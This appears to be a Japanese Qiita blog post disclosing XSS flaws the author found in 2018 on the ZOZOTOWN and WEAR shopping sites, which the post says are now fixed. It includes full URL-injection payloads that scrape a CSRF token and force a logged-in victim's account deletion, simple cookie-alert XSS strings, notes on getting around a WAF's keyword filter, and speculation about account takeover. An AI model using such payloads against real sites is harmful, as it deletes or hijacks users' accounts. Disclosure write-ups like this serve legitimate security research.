Help us understand the problem. What is going on with this article?

ZOZOTOWNにあったXSS

More than 1 year has passed since last update.

zozo_google.png
(2018年10月)

(宇宙よりエンジニアに金かけた方が良いのでは?)

って近所の猫が言ってた。

XSS

以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

ログイン中に踏んだら強制退会できたXSS↓

http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'

http://zozo.jp/~https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

原因

htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。


あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

  • "><script>alert(document.cookie)</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

感想

  • 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    • <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    • location. ~ でリダイレクトさせたりすることはできた。
  • jQueryを使ってくれていて助かった。
  • ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。
    • → この記事書いた3日後にきた。

WEAR

wear.png

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。

追記1:

よくよく見てたらWEARでも普通にXSSできた。
wear_xss_urlなし.png
(2018年10月)

追記2:

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

強制退会XSSもできた↓

https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '

追記3:

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。

スクリーンショット 2018-10-20 21.15.54.png
スクリーンショット 2018-10-20 21.16.48.png
スクリーンショット 2018-10-20 21.17.33.png
(2018年10月)

i8b4
"><script>alert(1)</script>
https://=?"><script>alert(1)</script>
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした